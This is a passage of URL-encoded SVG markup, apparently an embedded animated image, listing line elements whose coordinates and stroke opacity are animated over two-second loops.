3B265.0372%3B265.0372%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22483.6752%22%20y1%3D%22257.5442%22%20x2%3D%22480.6562%22%20y2%3D%22257.2206%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22483.6752%3B483.6752%3B483.6752%3B483.6752%3B483.6752%3B483.6752%3B492.4142%3B502.1391%3B513.0265%3B525.2984%3B539.2365%3B555.2051%3B573.6826%3B595.3108%3B620.9707%3B620.9707%3B620.9707%3B620.9707%3B620.9707%3B620.9707%3B620.9707%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22257.5442%3B257.5442%3B257.5442%3B257.5442%3B257.5442%3B257.5442%3B258.481%3B259.5234%3B260.6904%3B262.0058%3B263.4998%3B265.2115%3B267.1921%3B269.5104%3B272.2609%3B272.2609%3B272.2609%3B272.2609%3B272.2609%3B272.2609%3B272.2609%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22480.6562%3B480.6562%3B480.6562%3B480.6562%3B480.6562%3B480.6562%3B483.6752%3B492.4142%3B502.1391%3B513.0265%3B525.2984%3B539.2365%3B555.2051%3B573.6826%3B595.3108%3B643.3762%3B643.3762%3B643.3762%3B643.3762%3B643.3762%3B643.3762%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22257.2206%3B257.2206%3B257.2206%3B257.2206%3B257.2206%3B257.2206%3B257.5442%3B258.481%3B259.5234%3B260.6904%3B262.0058%3B263.4998%3B265.2115%3B267.1921%3B269.5104%3B274.6625%3B274.6625%3B274.6625%3B274.6625%3B274.6625%3B274.6625%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22197.0716%22%20y1%3D%22186.7612%22%20x2%3D%22199.8262%22%20y2%3D%22187.9542%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22197.0716%3B197.0716%3B197.0716%3B197.0716%3B197.0716%3B197.0716%3B190.4802%3B183.1418%3B174.9218%3B165.6514%3B155.1154%3B143.0356%3B129.0459%3B112.6544%3B93.1846%3B69.6794%3B40.7392%3B4.2326%3B4.2326%3B4.2326%3B4.2326%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22186.7612%3B186.7612%3B186.7612%3B186.7612%3B186.7612%3B186.7612%3B183.9065%3B180.7283%3B177.1684%3B173.1535%3B168.5905%3B163.3588%3B157.3001%3B150.2011%3B141.769%3B131.5891%3B119.0555%3B103.2449%3B103.2449%3B103.2449%3B103.2449%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22199.8262%3B199.8262%3B199.8262%3B199.8262%3B199.8262%3B199.8262%3B197.0716%3B190.4802%3B183.1418%3B174.9218%3B165.6514%3B155.1154%3B143.0356%3B129.0459%3B112.6544%3B93.1846%3B69.6794%3B40.7392%3B-5.7008%3B-5.7008%3B-5.7008%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22187.9542%3B187.9542%3B187.9542%3B187.9542%3B187.9542%3B187.9542%3B186.7612%3B183.9065%3B180.7283%3B177.1684%3B173.1535%3B168.5905%3B163.3588%3B157.3001%3B150.2011%3B141.769%3B131.5891%3B119.0555%3B98.9429%3B98.9429%3B98.9429%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22512.8198%22%20y1%3D%22109.1769%22%20x2%3D%22512.6511%22%20y2%3D%22109.2913%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22512.8198%3B512.8198%3B512.8198%3B512.8198%3B512.8198%3B512.8198%3B512.8198%3B522.9244%3B534.1465%3B546.6826%3B560.7777%3B576.7418%3B594.9732%3B615.9917%3B640.4895%3B640.4895%3B640.4895%3B640.4895%3B640.4895%3B640.4895%3B640.4895%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22109.1769%3B109.1769%3B109.1769%3B109.1769%3B109.1769%3B109.1769%3B109.1769%3B102.3212%3B94.7072%3B86.2018%3B76.6387%3B65.8074%3B53.4379%3B39.1774%3B22.5563%3B22.5563%3B22.5563%3B22.5563%3B22.5563%3B22.5563%3B22.5563%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22512.6511%3B512.6511%3B512.6511%3B512.6511%3B512.6511%3B512.6511%3B512.6511%3B512.8198%3B522.9244%3B534.1465%3B546.6826%3B560.7777%3B576.7418%3B594.9732%3B615.9917%3B642.2422%3B642.2422%3B642.2422%3B642.2422%3B642.2422%3B642.2422%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22109.2913%3B109.2913%3B109.2913%3B109.2913%3B109.2913%3B109.2913%3B109.2913%3B109.1769%3B102.3212%3B94.7072%3B86.2018%3B76.6387%3B65.8074%3B53.4379%3B39.1774%3B21.3671%3B21.3671%3B21.3671%3B21.3671%3B21.3671%3B21.3671%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22535.9455%22%20y1%3D%22454.9866%22%20x2%3D%22527.7601%22%20y2%3D%22446.8376%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22535.9455%3B535.9455%3B535.9455%3B535.9455%3B535.9455%3B535.9455%3B535.9455%3B547.7212%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%3B560.8554%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22454.9866%3B454.9866%3B454.9866%3B454.9866%3B454.9866%3B454.9866%3B454.9866%3B466.7101%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%3B479.7859%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22527.7601%3B527.7601%3B527.7601%3B527.7601%3B527.7601%3B527.7601%3B527.7601%3B535.9455%3B547.7212%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%3B561.4779%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22446.8376%3B446.8376%3B446.8376%3B446.8376%3B446.8376%3B446.8376%3B446.8376%3B454.9866%3B466.7101%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%3B480.4057%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22464.2298%22%20y1%3D%22116.2373%22%20x2%3D%22458.0962%22%20y2%3D%22121.5005%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22464.2298%3B464.2298%3B464.2298%3B464.2298%3B464.2298%3B464.2298%3B464.2298%3B464.2298%3B472.1348%3B480.9567%3B490.8646%3B502.0724%3B514.8537%3B529.5649%3B546.6789%3B566.8367%3B590.9296%3B590.9296%3B590.9296%3B590.9296%3B590.9296%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22116.2373%3B116.2373%3B116.2373%3B116.2373%3B116.2373%3B116.2373%3B116.2373%3B116.2373%3B109.4541%3B101.8841%3B93.3821%3B83.7648%3B72.7973%3B60.1737%3B45.4883%3B28.191%3B7.517%3B7.517%3B7.517%3B7.517%3B7.517%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22458.0962%3B458.0962%3B458.0962%3B458.0962%3B458.0962%3B458.0962%3B458.0962%3B458.0962%3B464.2298%3B472.1348%3B480.9567%3B490.8646%3B502.0724%3B514.8537%3B529.5649%3B546.6789%3B566.8367%3B602.7413%3B602.7413%3B602.7413%3B602.7413%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22121.5005%3B121.5005%3B121.5005%3B121.5005%3B121.5005%3B121.5005%3B121.5005%3B121.5005%3B116.2373%3B109.4541%3B101.8841%3B93.3821%3B83.7648%3B72.7973%3B60.1737%3B45.4883%3B28.191%3B-2.6186%3B-2.6186%3B-2.6186%3B-2.6186%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22269.9535%22%20y1%3D%22142.913%22%20x2%3D%22270.5284%22%20y2%3D%22144.0282%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22269.9535%3B269.9535%3B269.9535%3B269.9535%3B269.9535%3B269.9535%3B269.9535%3B269.9535%3B267.3012%3B264.3521%3B261.0533%3B257.3387%3B253.1245%3B248.3026%3B242.7313%3B236.2213%3B228.5133%3B219.2433%3B207.8829%3B207.8829%3B207.8829%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22142.913%3B142.913%3B142.913%3B142.913%3B142.913%3B142.913%3B142.913%3B142.913%3B137.7677%3B132.0466%3B125.6471%3B118.4411%3B110.2658%3B100.9116%3B90.1037%3B77.4746%3B62.5217%3B44.5385%3B22.5001%3B22.5001%3B22.5001%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22270.5284%3B270.5284%3B270.5284%3B270.5284%3B270.5284%3B270.5284%3B270.5284%3B270.5284%3B269.9535%3B267.3012%3B264.3521%3B261.0533%3B257.3387%3B253.1245%3B248.3026%3B242.7313%3B236.2213%3B228.5133%3B219.2433%3B194.2989%3B194.2989%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22144.0282%3B144.0282%3B144.0282%3B144.0282%3B144.0282%3B144.0282%3B144.0282%3B144.0282%3B142.913%3B137.7677%3B132.0466%3B125.6471%3B118.4411%3B110.2658%3B100.9116%3B90.1037%3B77.4746%3B62.5217%3B44.5385%3B-3.8522%3B-3.8522%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22592.4956%22%20y1%3D%22332.7039%22%20x2%3D%22592.2962%22%20y2%3D%22332.6361%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22592.4956%3B592.4956%3B592.4956%3B592.4956%3B592.4956%3B592.4956%3B592.4956%3B592.4956%3B606.7733%3B622.6301%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%3B640.343%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22332.7039%3B332.7039%3B332.7039%3B332.7039%3B332.7039%3B332.7039%3B332.7039%3B332.7039%3B337.5613%3B342.9558%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%3B348.9818%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22592.2962%3B592.2962%3B592.2962%3B592.2962%3B592.2962%3B592.2962%3B592.2962%3B592.2962%3B592.4956%3B606.7733%3B622.6301%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%3B640.5912%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22332.6361%3B332.6361%3B332.6361%3B332.6361%3B332.6361%3B332.6361%3B332.6361%3B332.6361%3B332.7039%3B337.5613%3B342.9558%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%3B349.0662%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22352.7646%22%20y1%3D%22127.5778%22%20x2%3D%22352.3353%22%20y2%3D%22129.0509%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22352.7646%3B352.7646%3B352.7646%3B352.7646%3B352.7646%3B352.7646%3B352.7646%3B352.7646%3B354.504%3B356.4385%3B358.6027%3B361.0403%3B363.8064%3B366.9724%3B370.6317%3B374.9092%3B379.9762%3B386.0735%3B386.0735%3B386.0735%3B386.0735%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22127.5778%3B127.5778%3B127.5778%3B127.5778%3B127.5778%3B127.5778%3B127.5778%3B127.5778%3B121.6095%3B114.972%3B107.546%3B99.1822%3B89.691%3B78.8279%3B66.2722%3B51.5951%3B34.2091%3B13.2882%3B13.2882%3B13.2882%3B13.2882%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22352.3353%3B352.3353%3B352.3353%3B352.3353%3B352.3353%3B352.3353%3B352.3353%3B352.3353%3B352.7646%3B354.504%3B356.4385%3B358.6027%3B361.0403%3B363.8064%3B366.9724%3B370.6317%3B374.9092%3B379.9762%3B390.8132%3B390.8132%3B390.8132%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22129.0509%3B129.0509%3B129.0509%3B129.0509%3B129.0509%3B129.0509%3B129.0509%3B129.0509%3B127.5778%3B121.6095%3B114.972%3B107.546%3B99.1822%3B89.691%3B78.8279%3B66.2722%3B51.5951%3B34.2091%3B-2.9749%3B-2.9749%3B-2.9749%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22424.2471%22%20y1%3D%22408.3021%22%20x2%3D%22422.5823%22%20y2%3D%22405.6144%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22424.2471%3B424.2471%3B424.2471%3B424.2471%3B424.2471%3B424.2471%3B424.2471%3B424.2471%3B424.2471%3B429.7984%3B435.9741%3B442.8859%3B450.6739%3B459.5157%3B459.5157%3B459.5157%3B459.5157%3B459.5157%3B459.5157%3B459.5157%3B459.5157%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22408.3021%3B408.3021%3B408.3021%3B408.3021%3B408.3021%3B408.3021%3B408.3021%3B408.3021%3B408.3021%3B417.2644%3B427.2348%3B438.3937%3B450.967%3B465.2417%3B465.2417%3B465.2417%3B465.2417%3B465.2417%3B465.2417%3B465.2417%3B465.2417%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22422.5823%3B422.5823%3B422.5823%3B422.5823%3B422.5823%3B422.5823%3B422.5823%3B422.5823%3B422.5823%3B424.2471%3B429.7984%3B435.9741%3B442.8859%3B450.6739%3B469.3632%3B469.3632%3B469.3632%3B469.3632%3B469.3632%3B469.3632%3B469.3632%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22405.6144%3B405.6144%3B405.6144%3B405.6144%3B405.6144%3B405.6144%3B405.6144%3B405.6144%3B405.6144%3B408.3021%3B417.2644%3B427.2348%3B438.3937%3B450.967%3B481.1401%3B481.1401%3B481.1401%3B481.1401%3B481.1401%3B481.1401%3B481.1401%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22323.4513%22%20y1%3D%22120.0265%22%20x2%3D%22323.3489%22%20y2%3D%22123.5857%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.4513%3B323.6378%3B323.8457%3B324.0787%3B324.3417%3B324.6411%3B324.9848%3B325.3835%3B325.8514%3B326.4085%3B326.4085%3B326.4085%3B326.4085%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22120.0265%3B120.0265%3B120.0265%3B120.0265%3B120.0265%3B120.0265%3B120.0265%3B120.0265%3B120.0265%3B113.5428%3B106.3182%3B98.2181%3B89.0731%3B78.667%3B66.7197%3B52.8614%3B36.5937%3B17.2285%3B17.2285%3B17.2285%3B17.2285%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.3489%3B323.4513%3B323.6378%3B323.8457%3B324.0787%3B324.3417%3B324.6411%3B324.9848%3B325.3835%3B325.8514%3B326.9822%3B326.9822%3B326.9822%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22123.5857%3B123.5857%3B123.5857%3B123.5857%3B123.5857%3B123.5857%3B123.5857%3B123.5857%3B123.5857%3B120.0265%3B113.5428%3B106.3182%3B98.2181%3B89.0731%3B78.667%3B66.7197%3B52.8614%3B36.5937%3B-2.7123%3B-2.7123%3B-2.7123%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22421.1292%22%20y1%3D%2281.3088%22%20x2%3D%22416.8301%22%20y2%3D%2288.0549%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22421.1292%3B421.1292%3B421.1292%3B421.1292%3B421.1292%3B421.1292%3B421.1292%3B421.1292%3B421.1292%3B426.6719%3B432.8573%3B439.8043%3B447.6626%3B456.6242%3B466.939%3B466.939%3B466.939%3B466.939%3B466.939%3B466.939%3B466.939%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2281.3088%3B81.3088%3B81.3088%3B81.3088%3B81.3088%3B81.3088%3B81.3088%3B81.3088%3B81.3088%3B72.6113%3B62.9051%3B52.004%3B39.6727%3B25.6103%3B9.4245%3B9.4245%3B9.4245%3B9.4245%3B9.4245%3B9.4245%3B9.4245%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22416.8301%3B416.8301%3B416.8301%3B416.8301%3B416.8301%3B416.8301%3B416.8301%3B416.8301%3B416.8301%3B421.1292%3B426.6719%3B432.8573%3B439.8043%3B447.6626%3B456.6242%3B473.8836%3B473.8836%3B473.8836%3B473.8836%3B473.8836%3B473.8836%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2288.0549%3B88.0549%3B88.0549%3B88.0549%3B88.0549%3B88.0549%3B88.0549%3B88.0549%3B88.0549%3B81.3088%3B72.6113%3B62.9051%3B52.004%3B39.6727%3B25.6103%3B-1.473%3B-1.473%3B-1.473%3B-1.473%3B-1.473%3B-1.473%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22223.3054%22%20y1%3D%22394.3935%22%20x2%3D%22225.3547%22%20y2%3D%22391.1215%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B223.3054%3B218.1274%3B212.3634%3B205.9081%3B198.6291%3B190.3579%3B180.877%3B169.9%3B169.9%3B169.9%3B169.9%3B169.9%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B394.3935%3B402.6614%3B411.8648%3B422.1721%3B433.7947%3B447.0013%3B462.1396%3B479.6667%3B479.6667%3B479.6667%3B479.6667%3B479.6667%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B225.3547%3B223.3054%3B218.1274%3B212.3634%3B205.9081%3B198.6291%3B190.3579%3B180.877%3B168.7549%3B168.7549%3B168.7549%3B168.7549%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B391.1215%3B394.3935%3B402.6614%3B411.8648%3B422.1721%3B433.7947%3B447.0013%3B462.1396%3B481.495%3B481.495%3B481.495%3B481.495%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22112.4324%22%20y1%3D%22269.86%22%20x2%3D%22120.7297%22%20y2%3D%22268.6663%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22112.4324%3B112.4324%3B112.4324%3B112.4324%3B112.4324%3B112.4324%3B112.4324%3B112.4324%3B112.4324%3B112.4324%3B101.0878%3B88.4314%3B74.2217%3B58.1541%3B39.8387%3B18.7685%3B18.7685%3B18.7685%3B18.7685%3B18.7685%3B18.7685%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B269.86%3B271.492%3B273.3127%3B275.3568%3B277.6683%3B280.303%3B283.3341%3B283.3341%3B283.3341%3B283.3341%3B283.3341%3B283.3341%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B120.7297%3B112.4324%3B101.0878%3B88.4314%3B74.2217%3B58.1541%3B39.8387%3B-2.0539%3B-2.0539%3B-2.0539%3B-2.0539%3B-2.0539%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B268.6663%3B269.86%3B271.492%3B273.3127%3B275.3568%3B277.6683%3B280.303%3B286.3296%3B286.3296%3B286.3296%3B286.3296%3B286.3296%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22104.6214%22%20y1%3D%22455.3026%22%20x2%3D%22107.7658%22%20y2%3D%22452.1594%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B104.6214%3B93.1691%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%3B80.4305%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22455.3026%3B455.3026